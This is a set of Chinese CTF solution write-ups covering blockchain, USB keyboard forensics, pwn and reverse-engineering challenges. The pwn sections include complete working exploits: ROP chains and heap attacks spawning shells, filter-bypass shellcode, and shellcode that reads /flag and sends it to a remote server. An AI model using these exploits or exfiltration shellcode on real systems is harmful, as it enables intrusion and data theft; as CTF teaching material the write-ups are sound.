解压得到 Flag:Flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}
(君は取证本当に上手)
ezblockchain
本题是一题区块链题。
浏览器安装 MetaMask 插件,在 MetaMask里 添加网络,网络符号和货币符号可以随便输
通过自己的账号地址在 faucet 获得测试代币
nc 获得合约部署账号并使用 Metamask 转账
交互部署合约,获得合约地址和代码
将代码复制进 Remix 编辑器 内,在「Solidity 编译器」选项卡点击编译,然后切换到「部署 & 发交易」选项卡,环境选择 Injected Provider,选择你有 eth 的账户,合约选择你刚编译的合约,然后加载前面 nc 获得的合约地址
阅读合约代码可以知道,我们要调用 unlock
函数,传入 re@1lY_eA3y_Bl0ckCh@1n
并发送 0.0721 个 eth. 因此在「部署 & 发交易」选项卡的以太币数量填入 0.0721 eth,由于无法填入小数,需将其转为 72100000 Gwei,在 unlock 填入 re@1lY_eA3y_Bl0ckCh@1n
,点击 unlock 进行交易。
交易确认后点击 isSolved
可发现已经变为 true
. 此时再 nc 交互即可得到 flag
最后更新于: 2024年10月29日 21:02
扫码领取 flag
hint.jpg
的图片信息(属性,详细信息)中隐藏了一句 Base64 加密的提示,解码后意为「阿兹特克文明」,则题目考点与阿兹特克码有关
四张 flag.png
进行 CRC 宽高修复,可以还原成四张碎片
脚本参考:
python
import zlib
import struct
import argparse
import itertoolsparser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="输入同级目录下图片的名称")
args = parser.parse_args()bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 计算 crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始 crcif crc32key == original_crc32: # 计算 crc 对比原始 crcprint('宽高正确')
else:input_ = input("宽高有问题,是否 CRC 爆破宽高? (Y/n):")if input_ not in ["Y", "y", ""]:exit()else:# 理论上 0x FF FF FF FF,但考虑到屏幕实际/CPU,0x 0F FF 就差不多了,也就是 4095 宽度和高度for i, j in itertools.product(range(4095), range(4095)):data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]crc32 = zlib.crc32(data)# 计算当图片大小为 i:j 时的 CRC 校验值,与图片中的 CRC 比较,当相同,则图片大小已经确定if(crc32 == original_crc32):print(f"\nCRC32: {hex(original_crc32)}")print(f"宽度: {i}, hex: {hex(i)}")print(f"高度: {j}, hex: {hex(j)}")exit(0)
根据 F
1
4
9
的顺序可以组成一张阿兹特克码
根据提示信息 找到对应的解码网页或工具,即可解开
Alt
本题考察键盘流量的解析。
根据选手反馈,本题难点有二:
- 一是找的码位对照表不全,没有 KeyPad 区(右手数字小键盘区)的对照;
- 二是不知道 Alt 在这道题里有什么作用。
第一步我们需要用 tshark 把 USB 数据提取出来,本题的数据为 usbhid 格式,有些题目的格式也可能是 usb.capdata.
bash
tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt
然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析:
plaintext
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005a0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00
,第三到八字节是我们敲击的键。
有些同学反映,网上的脚本里找不到 0x59
0x62
等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。
很多同学分析到这里,都会忽略第一字节的 0x04
,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。
直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla
这三个字符,以此类推,就能得到整个 flag.
还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。
注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量。
因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr
函数进行计算,就能获得十进制码值对应的字符。
C_or_CPP
首先拖入 IDA 分析,这是一个用 C 和 CPP 来实现相同操作对比的程序
题目存在两个漏洞
一个是位于功能 2 里面的
cpp
printf("C String input: ");read(0, buf, 0x50uLL);v4 = std::operator<<<std::char_traits<char>>(&std::cout, "C++ String: ");v5 = std::operator<<<char>(v4, v13);std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);printf("C String: %s\n", buf);
一个是位于功能 5 里面的
cpp
std::operator>><char>(&std::cin, v4);v2 = (const void *)std::string::c_str(v4);memcpy(dest, v2, 0x100uLL);
第一个漏洞首先 read 了 0x50
个字符,乍一看可能没有发现溢出,但结合上后面的 printf("%s")
,即可实现泄露地址
printf("%s")` 会一直输出直到遇到 `\x00
第二个漏洞先使用 cin
输入了字符串,再将它 memcpy 到 dest
字符串中,而 dest
是存放在栈上的,因此存在栈溢出
因为程序是使用 g++
编译的,相对可用的 gadget 会相当少,所以靠第一次泄露的地址,用 libc 的 gadget 来实现 ROP
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)k = 0
if k:addr = '127.0.0.1:9999'host = addr.split(':')p = remote(host[0], host[1])
else:p = process('./C_or_CPP')
elf = ELF('./C_or_CPP')
libc = ELF('./libc.so.6')def debug():gdb.attach(p, 'b *0x402F8F\nb *0x402A22\nc\n')# debug()
sla(b'Please choose an option:', b'2')
sla(b'C++ String input:', b'inkey')
sa(b'C String input:', b'a' * 0x50)
ru(b'a' * 0x50)
libc_base = uu64(r(6)) - 0x4B1040
# libc_base = uu64(r(6)) - 0x4BB040
print(f"libc_base --> 0x{libc_base :x}")rdi = libc_base + 0x000000000002A3E5 #: pop rdi; ret;
rsi = libc_base + 0x000000000016333A #: pop rsi; ret;
rdx_rbx = libc_base + 0x00000000000904A9 #: pop rdx; pop rbx; ret;
bin_sh = libc_base + 0x001D8678
system = libc_base + libc.sym.system
# pause()sla(b'Please choose an option:', b'5')
payload = b'a' * 0x48 + flat([rdi, bin_sh, rsi, 0, rdx_rbx, 0, 0, system])
sla(b'Try to say something:', payload)p.interactive()
Simple_Shellcode
程序有两个功能
一是输入 shellcode,二是运行 shellcode
cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{int v3; // [rsp+Ch] [rbp-34h] BYREF_QWORD v4[6]; // [rsp+10h] [rbp-30h] BYREFv4[3] = __readfsqword(0x28u);sub_3602();sub_BEEE((__int64)v4);while ( 1 ){sub_3A6D();std::istream::operator>>(&std::cin, &v3);if ( v3 == 1 ){sub_3ADC((__int64)v4);}else if ( v3 == 2 ){sub_3C67(v4);sub_3E3A((__int64)v4);}else{std::operator<<<std::char_traits<char>>(&std::cout, "浣犲湪鍋氫粈涔堝憿馃槨馃槨馃槨");}}
}
其中,v4
是用来存储 shellcode 的 vector
cpp
std::vector<std::string> code;
在输入功能中,一次只能输入 8 个字符
检测功能中,如果检测到 shellcode 含有非字母或数字,就会删掉这段 shellcode
cpp
if ( (unsigned __int8)sub_B9F1(v4, v3) != 1 ){v8 = sub_C962((__int64)a1);v9 = sub_C9AE(&v8, i);sub_CA14(&v10, &v9);sub_CA42(a1, v10);v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_F130);std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);}
当然,使用 AE64 直接生成 shellcode 也是可以的
cpp
for (i = 0; i < code.size(); i++) {auto line = code[i];if (!std::all_of(line.begin(), line.end(), [](char c) {return (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z');})) {code.erase(code.begin() + i);std::cout << "想什么呢雑魚, 非字母是不行的😡😡😡" << std::endl;}
}
cpp
template<typename _Tp, typename _Alloc>typename vector<_Tp, _Alloc>::iteratorvector<_Tp, _Alloc>::_M_erase(iterator __position){if (__position + 1 != end())
_GLIBCXX_MOVE3(__position + 1, end(), __position);--this->_M_impl._M_finish;_Alloc_traits::destroy(this->_M_impl, this->_M_impl._M_finish);_GLIBCXX_ASAN_ANNOTATE_SHRINK(1);return __position;}
通过查看 erase
的源码,发现 erase
是通过将后面的元素 MOVE 到前面,然后 --finish
实现的
而在程序实现的删除算法中,erase
后没有将 i--
,这就会导致,如果 idx=2
的元素被删除了,i++
(i=3
),而 erase
会将后面的元素 MOVE 到前面,原本 idx=3
的元素会移动到 idx=2
,这样会导致原本 idx=3
的元素绕过检测
也就是说,我们将会被删除的元素输入两次,即可绕过检测
对于沙箱,洒洒水啦:openat + mmap + writev
python
#!/usr/bin/env python3
from pwn import *
import recontext(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)k = 1
if k:host = addr.split(':')p = remote(host[0], host[1])
else:p = process('./Simple_Shellcode')
elf = ELF('./Simple_Shellcode')def debug():gdb.attach(p, 'b *$rebase(0x3F50)\nc\n')def sp_input(byte_str):for i in range(0, len(byte_str), 8):chunk = byte_str[i : i + 8]input(chunk)if re.search(rb'[a-zA-Z0-9]', chunk):input(chunk)def input(data):sla(b'Choose', b'1')sl(data)def run_code():sla(b'Choose', b'2')shellcode = '''mov rsp, rbp
'''
shellcode += shellcraft.openat(-100, "/flag", 0, 0)
shellcode += '''mov rdi, 0x777721000mov rsi, 0x100mov rdx, 1mov r10, 2mov r8, 3mov r9, 0mov rax, 9syscallpush 1pop rdipush 0x1 /* iov size */pop rdxpush 0x100mov rbx, 0x777721000push rbxmov rsi, rsppush SYS_writevpop raxsyscall
'''payload = asm(shellcode)sp_input(payload)
run_code()p.interactive()
No_Output
程序是无沙箱的 shellcode,但关闭了 0
1
2
描述符,即关闭了标准输入,标准输出和标准错误输出
本题的解法也有很多,由于靶机是出网的,我们可以选择直接连上一个公网的服务器,使用 send
将 flag 发送到服务器上
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)k = 1
if k:host = addr.split(':')p = remote(host[0], host[1])
else:p = process('./No_Output')
elf = ELF('./No_Output')def debug():gdb.attach(p,'b *0x40184D\nc\n')shellcode = '''mov rsp, 0xd001000mov rbp, 0xd002000
'''shellcode += shellcraft.open("/flag")
shellcode += shellcraft.syscall('SYS_socket', 2, 1, 0) # 使用 syscall 创建 socket (AF_INET = 2, SOCK_STREAM = 1)
shellcode += '''mov rax, ........(此处为 remote ip)mov qword ptr [rsp], raxmov qword ptr [rsp + 0x8], 0mov rdi, 1mov rsi, rspmov rdx, 0x10mov rax, SYS_connectsyscall
'''
shellcode += shellcraft.sendfile(1, 0, 0, 0x100)s(asm(shellcode))p.interactive()
connect
的参数可以写一个 C 语言的 demo,编译后动调将内存复制出来
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>void send_file_content() {const char *filename = "/flag";const char *ip_address = "";int port = 3389;int sock;struct sockaddr_in server_addr;char buffer[1024];FILE *file;// 打开文件file = fopen(filename, "r");// 创建套接字sock = socket(AF_INET, SOCK_STREAM, 0);// 设置服务器地址server_addr.sin_family = AF_INET;server_addr.sin_port = htons(port);inet_pton(AF_INET, ip_address, &server_addr.sin_addr);// 连接到服务器connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));// 读取文件内容并发送while (fgets(buffer, sizeof(buffer), file) != NULL) {send(sock, buffer, strlen(buffer), 0);}// 关闭文件和套接字fclose(file);close(sock);
}
也可以使用两个进程,使用一个去 ptrace 另一个,直接修改他的程序段内存,将 close012
给 nop 掉(靶机的 pid 初始都是一样的)
当然,也可以使用侧信道爆破
EldenRing
本题的核心是一道菜单堆题
当然,我们做题的第一步是要 patchelf 相关库文件,正如附件中 README.md 内所说的一样
取下文件后放入同一文件夹下操作:
bash
sudo patchelf --set-interpreter ./ld-2.23.so ./EldenRing
sudo patchelf --replace-needed libcrypto.so.1.0.0 ./libcrypto.so.1.0.0 ./EldenRing
sudo patchelf --replace-needed libc.so.6 ./libc-2.23.so ./EldenRing
打开题目,发现需要满足某个输入才能进入之后的部分
那么我们就要把他拖入 IDA 看看他具体的逻辑是怎样的
根据如下箭头所示,他会将我们的输入sha256后与一个预设的 predefined_hash 进行比较,才能进入之后的题目部分
双击发现这个预设的哈希值第一个字节是 \x00,当 strncmp 进行比较时,如若两个参数开头都为 \x00 时,便会终止比较并且返回相等,便能绕过检测
那么我们可以通过如下脚本随机生成一个以 \x00
开头的可见字符串输入,或者问 ai 去写一个 生成一个 sha256 后以 \x00
开头的随机字符串的 python 脚本也可,减少工作量
python
import hashlib
import random
import stringdef generate_random_string():# 生成由可见字符组成的随机字符串return ''.join(random.choice(string.printable) for _ in range(random.randint(1, 20)))def hash256(input_string):# 计算输入字符串的hash256值return hashlib.sha256(input_string.encode()).digest()def find_valid_input():while True:random_input = generate_random_string()hash_value = hash256(random_input)# 检查 hash 是否以 \x00 开头if hash_value[0] == 0:print(f"Found input: {random_input}")print(f"Hash256: {hash_value.hex()}")break# 运行程序
find_valid_input()
结果如下
使用 q8MkK6e0
的输入进入主程序
注意
输入换行符也会影响 hash 结果,故在脚本中使用 p.send("q8MkK6e0")
规避,或者在后面加上 \x00
(如 p.send ("q8MkK6e0\x00")
)也可
之后就是一个菜单部分,主要功能是 Two_Fingers
、Three_Fingers
、Age_of_the_Stars
,对应关系为
文本 | 含义 |
---|---|
Two_Fingers | 创造一个卢恩(add 堆块) |
Three_Fingers | 毁灭一个卢恩(free 堆块) |
Age_of_the_Stars | 菈妮给予我们的恩惠(一个白给的 libc 地址) |
接下来我们寻找可能的漏洞,在 Two_Fingers
函数中
base64_decode
为 Base64 解码函数,当我们输入 Base64 编码的 size 和数据后,base64_decode
会将我们的输入解码,并将解码内容放入一个 size 为 编码大小4×编码大小4+1 的堆块中,在这之中,漏洞便产生了,当我们传入一个被我们编码过的数据时,实际的编码计算公式为
L=(⌈N3⌉×4)
其中 N 为原始数据的字节数,L 为编码后的长度,公式中的 ⌈⌉ 符号表示向上取整
因此实际上应该为解码后的数据分配的安全空间为
assigned_size=3×(L4)+2
显然题目分配空间时忽略了这一点,认为 33% 的变化空间再 +1 就安全了
assigned_size=3×(L4)+1
由此实际上我们写入的数据进行特意的操作后,能在堆块环境下溢出一字节到下一堆块的 size 部分,通过这一步开始我们的劫持执行流操作
当然,在我们开始菜单堆题的操作之前,如果我们预先根据回显写一些交互板子,会很方便我们的操作(确信)
根据不同菜单的功能,可以写出如下板子:
python
def cmd(cho):p.recvuntil(b'choice')p.sendline(str(cho))def Two_finger(size,cnt):cmd(2)p.sendlineafter(b's do you want to create for restoration?',str(size))p.sendlineafter(b'understand...', cnt)def Three_finger(idx):cmd(3)p.sendlineafter(b'Which Rune do you want to destroy?',str(idx))def Age_of_the_Stars():cmd(4)def Dung_Eater():cmd(18) # 所以我的意义何在?难道说还有 EldenRing Ⅱ ?
然后开始布置我们的堆块
其中 55 为关键的攻击数据,当输入为 55 时,题面内的 malloc
中的 size 处理会向下取整最终为 0x28
,但实际上根据上面所说,55 的输入下我们能填入的数据为 55//4*3+2 = 0x29
下面的脚本中,我们能使用 pwntools 给我们提供的 b64e
轻松的进行我们想要输入的数据的编码
python
Two_finger(55,b64e(b'sekiro')) # 0
Two_finger(55,b64e(b'sekiro')) # 1
Two_finger(55,b64e(b'sekiro')) # 2
Two_finger(65,b64e(b'sekiro')) # 3
布局如下所示,从上往下分别对应堆块 chunk0
chunk1
chunk2
chunk3
(后文对应序号 chunk
一直对应的是开始时候的地址)
有了上述的堆块准备工作后,攻击思路:
-
把
chunk0
先 free 掉,再 malloc 回chunk0
,写0x29
个字节使得chunk1
得 size 位为0x61
足以覆盖chunk2
python
Three_finger(0) Two_finger(55,b64e(p64(0)*5+p8(0x61)))#0
-
把
chunk1
再 free 掉,再 malloc 拿回来(输入 109 左右都能拿回来),将一开始chunk2
的 size0x31
改写为0x71
,从而覆盖chunk3
python
Three_finger(1) Two_finger(109,b64e(p64(0)*5+p8(0x71)))#1
-
将
0x61
和0x71
的 chunk 给 free 掉(分别对应 · 和 1),其中0x61
的 chunk 拿回来之后负责改0x71
chunk 的 next 位,而被改了 next 位的0x71
chunk 用于 hijack 的地址分配python
Three_finger(2) Three_finger(1)
在拿回这两个 size 的 fastbin 前,先通过「菈妮」知道 libc 的地址
python
#----------------------leak libcaddr----------------- Age_of_the_Stars() p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - libc.symbols['printf'] hijackaddr = libc_base + libc.symbols['__malloc_hook'] - 0x23 print(hex(libc_base))
最终的目的是劫持
__malloc_hook
,从而在执行 malloc 的时候能够取得 shell -
然后取回这两个 fastbin,先取回
fastbin[0x60]
,并趁机改写0x71
堆块的 next 位为libc_base + libc.symbols['__malloc_hook'] - 0x23
,这样我们之后就能分配到这里至于为什么要分配到这里,是因为 fastbin 分配出来时会检测即将分配的 chunk 处 size 位是否符合 malloc 的参数,其中
libc_base + libc.symbols['__malloc_hook'] - 0x23
处刚好满足fastbin[0x70]
的要求如何寻找这样的地址呢?
我们可以通过
find_fake_fast
查找合适的地址 -
最后我们再连续分配两个满足
fastbins[0x70]
的 chunk,即可在__malloc_hook
中填入 one_gadget,再次进入 malloc 时即可劫持执行流 -
不过似乎事情没有这么简单,one_gadget 此次并没有奏效,栈上的环境并不满足如下三个 one_gadget 的执行条件
asm
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
这里介绍个小 trick
如上 push 会改变栈环境,可以在 __malloc_hook
处填入 realloc
的地址 + 一些偏移,从而构造一个符合 one_gadget 的栈环境,同时执行完 realloc 后会执行 __malloc_hook-8
处 __realloc_hook
的内容,我们理所应当的在此填入 one_gadget 劫持执行流
我使用的分别是 &realloc+6
和偏移为 0xf1247
的 onegadget
python
#----------------------Attack __malloc_hook
Two_finger(123,b64e(b'sekiro'))#2
#Attackchunk
Two_finger(123,b64e(b'\x00'*(0x13-8)+p64(libc_base+0xf1247)+p64(libc_base+libc.symbols['realloc']+6)))
效果如下
最后任意分配一个卢恩 chunk 触发漏洞,取得 shell😘
完整 EXP
python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./EldenRing')
elf=ELF("./EldenRing")
libc=elf.libc
def debug():gdb.attach(p)pause()
def cmd(cho):p.recvuntil(b'choice')p.sendline(str(cho))
def Two_finger(size,cnt):cmd(2)p.sendlineafter(b's do you want to create for restoration?',str(size))p.sendlineafter(b'understand...',cnt)def Three_finger(idx):cmd(3)p.sendlineafter(b'Which Rune do you want to destroy?',str(idx))
def Age_of_the_Stars():cmd(4)def Dung_Eater():cmd(18)
# chunk 0x31---> rune size 55
p.sendafter(b'ber who you are?', b"q8MkK6e0\x00nosekiro")
Two_finger(55,b64e(b'sekiro')) # 0
Two_finger(55,b64e(b'sekiro')) # 1
Two_finger(55,b64e(b'sekiro')) # 2
Two_finger(65,b64e(b'sekiro')) # 2Three_finger(0)
Two_finger(55,b64e(p64(0)*5+p8(0x61))) # 0Three_finger(1)
Two_finger(109,b64e(p64(0)*5+p8(0x71))) # 1Three_finger(2)
Three_finger(1)# ---------------------- leak libcaddr
Age_of_the_Stars()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.symbols['printf']
hijackaddr = libc_base + libc.symbols['__malloc_hook'] - 0x23
print(hex(libc_base))# ---------------------- Attack __malloc_hook
Two_finger(97,b64e(p64(0)*5+p64(0x71)+p64(hijackaddr))) # 1 To modifydTwo_finger(123,b64e(b'sekiro')) # 2
Two_finger(123,b64e(b'\x00'*(0x13-8)+p64(libc_base+0xf1247)+p64(libc_base+libc.symbols['realloc']+6)))#attack chunk
# debug()# ---------------------- Trigger
Two_finger(18,b64e(b"End?Never"))p.interactive()# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
MY_ARM
静态编译
使用 qemu 进行动态调试,可以参考这篇文章进行动态调试
程序本身没有加很多混淆,因此其实静态分析也可以
本身使用 TEA 进行加密,并且没有进行任何魔改
唯一需要注意的是有一个函数在 main
函数执行前执行了,覆盖了密文数组和密钥数
这个函数是真正运行的,其他几个函数都是用来迷惑的。
写出解密代码
c
// exp.c
#include<stdio.h>
#include<stdlib.h>
#include<stdbool.h>
unsigned int delta=0x9e3779b9;
int rounds=32;
unsigned char true_enc[]={0x44,0xcb,0xf8,0xa0,0xcf,0x83,0x2f,0xf8,0xc2,0x48,0x5e,0xa5,0x0a,0xe0,0x26,0x7a,0xc9,0x54,0xe3,0xf1,0x15,0x99,0x7d,0x68,0xe8,0x16,0x88,0xf8,0x86,0x8e,0x87,0x90,0x98,0x62,0xb0,0x3a,0x8b,0xe7,0xcf,0xcb,0x50,0x0f,0x8f,0x57,0x65,0x3c,0x9e,0xc3,0x84,0x2b,0xe9,0xbb,0xa2,0x2c,0x8a,0x12,0xf5,0x03,0x8f,0xdb,0xe2,0xf8,0x82,0x84};
unsigned int true_key[4] = {0x11223344, 0x55667788, 0x9900aabb, 0xccddeeff};
void tea_decrypt(unsigned int *v,unsigned int *k) {int v0 = v[0], v1 = v[1];int sum = delta * rounds;for (int i = 0; i < rounds; i++) {v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);sum -=delta;}v[0] = v0;v[1] = v1;
}
void tea(unsigned int* v,unsigned int* k){for(int i=0;i<16;i+=2){tea_decrypt(v+i,k);}
}int main(){tea((unsigned int*)true_enc, true_key);for(int i=0;i<64;i++){printf("%c",true_enc[i]);}printf("\n");return 0;
}
Lock
由于程序告诉你每次输入对了多少个字符,所以可以逐位爆破。Cython 是一个把 Python 转化为 C 语言的项目,其逆向极为复杂,出题人也并不能完全掌握,所以这里不讲解。
EXP:
python
import checkpassword = "00000000000000000000"
table = "123456789abcdef"
ret = check.check(password)password_list = list(password)for i in range(20):for j in range(16):newpassword_list = password_list.copy()newpassword_list[i] = table[j]newpassword = ''.join(newpassword_list)# print(newpassword)newret = check.check(newpassword)if newret == ret + 1:password_list[i] = table[j]ret = newretbreakelif newret == ret:continueelif newret == ret - 1:breakprint(newpassword)
jun...junkcode?
打开题目,在这里发现了明显的花指令(jz - jnz):
「去花」后:
恍然大悟!(然后发现这整段加密逻辑都是假的 QAQ)
关注 sub_4017A9
这个函数(这些 API 均能在微软官方文档找到用法):
这里就能发现一些问题:比如在之前的代码中,还没有映射过任何文件,这里怎么就取消映射了?
查看一下反复出现的 qword_408A20
的交叉引用:
可以看到它在 sub_401550
这个函数中反复出现,检查一下这个函数:
根据之前的分析,已经能推测出 sub_401550
肯定早在 sub_4017A9
之前就已经执行了,并且不难看出,sub_401550
中文件映射对象打开失败的逻辑对应父进程,打开成功的对应子进程
父进程向 qword_408A20
写入了如下内容:
地址/偏移 | 含义 |
---|---|
408A20[0] |
父进程的进程 ID |
408A20[0] + 1 |
父进程 sub_4017A9 函数返回地址的地址 |
408A20[0] + 2 |
4201097 |
子进程根据这个文件映射修改父进程 sub_4017A9
的返回地址为 4201097
(对应 401A89h
)
关于反调试
这里要子进程调试父进程,如果在这之前父进程被其他进程调试了,子进程就无法附加调试,那自然无法执行正确的逻辑。
可知,父进程在执行完 sub_4017A9
获取输入后,就跳转至 401A89
处继续执行
从这里重新让 IDA 识别为代码,并反编译:
看到了真正的加密逻辑,这段加密执行完后,跳转到了 main
函数里的判断部分
据此写出解密代码:
c
#include <cstdio>
int main() {flag[] = {0x34,0x6c,0x60,0x33,0x15,0x3b,0x74,0x38,0x5e,0x6a,0x53,0x5,0x31,0x1c,0x43,0x35,0x53,0x58,0x4a,0x12,0x39,0x3b,0x35,0x5e,0x3a,0x21,0x8,0x1b,0x44,0,0x7c,0x26,0x6e,0x5d,0x54,0xc,0x1,0x7,0,0x1f,0x52,0x1b}for (int i = 41; i >= 0; i--)flag[41 - i] ^= flag[i * 2 % 42];puts(flag);
}
// flag{G00d_jOb_!_7h1s_i5_nOt_0nIy_junkc0d3}
到这里,还剩下最后一个问题:sub_401550
是怎么被执行的?
查看一下 sub_401550
的交叉引用:
再往前跟踪几个函数(篇幅有限,不列出来了),能发现上面的函数最终在程序初始化阶段被 sub_401BC0
调用,然后才执行的 main
函数(所以要是你比较闲,从程序入口节点步进也是能调出来的)
Pangbai泰拉记(2)
最普通的 vm,加密是换表,防止约束爆破直接出了
opcode 打印还原流程图
前面有个针对表的伪随机,可以动调出,也可以这么出
c
#include <stdio.h>
#include <stdlib.h>
int main() {unsigned char array[128];for (int i = 0; i < 128; i++) {array[i] = i;}srand(0x114514);for (int i = 127; i > 0; i--) {int j = rand() % (i + 1);int temp = array[i];array[i] = array[j];array[j] = temp;}unsigned char pw[24]={0x28,0x79,0x17,0x4,0xc,0x73,0x26,0x36,0x50,0x39,0x7e,0x24,0x51,0x17,0x44,0x25,0x6,0x70,0x4d,0x40,0x79,0x35,0x73,0x21};for(int i=0;i<24;i++){for(int j=0;j<128;j++){if(pw[i]==(array[j]^i)){printf("%c",(j-i+128)%128);}}}return 0;
}
// flag{W0w_y0u_$01v3_VM!!}
Pangbai泰拉记(3)
个人做所有逆向题思路:找判断,找密文,找密钥,找算法,写正向,写逆向
运行程序显示
有 ROOT 的果子机的话可以用巨魔装,我 iPhone 7 装过了
一个 iOS 的安装包,用压缩包方式打开 ipa 文件,找到里面的可执行文件 test
,然后对其进行反编译,全是 swift
最简单就是搜字符串,都试试
可以搜到这些
先看下面,这涉及到 swift 编译的知识,他的函数是动态的,这里只能显示函数名,交叉引用其他啥都没有,但是只要是 _TtC4
开头的基本都是在 main
中被调用的函数,也就是这道题用到了这些函数(这个可以给直接提示),里面看到一个 RC4 和 AES,大胆猜测有用到这两个加密
交叉引用 input your flag
可以到 contentView
中,里面可以看到好多 swiftUI 的调用函数,看到一个倒过来的 click me
,是个小提示,提示去找这个 string
被绑在哪里
被绑定在这个 button 里面,查看这个 button 里的函数
一个倒着的 correct
函数和 wrong
函数,还有 ==
判断,可以肯定这个肯定是关键函数
看上面,a1
是输入,通过 a1
来找几个关键函数
我还原了一下大致的函数,着重讲一下几个难的怎么看出特征的
set256able
中(rc4_init
):
rc4_encrypt
:
结尾一个异或,再顺着往前看偏移,看数据,发现与 RC4 很符合
AES:
一个 ECB 模式,确认是分组加密,然后结合前面,大概率是一个调用了库的 AES ECB 加密
摸清楚加密后,只剩下密文密钥,发现前面两个很奇怪的字符串还没用
第一个密文,第二个密钥(0x10
刚好 16 位符合 AES 密钥长度)
Ans: flag{Sw1ft_$0_funny!}
Ohn_flutter!!
blutter 反编译得到 asm
文件夹和 ida_script
文件夹,ida_script
在 IDA 里先加载 ida_dart_struct.h
头文件再运行 addNames.py
脚本可得到大部分符号
ASM 里查看 EditView.dart 可发现 check
函数单代码全为汇编
asm
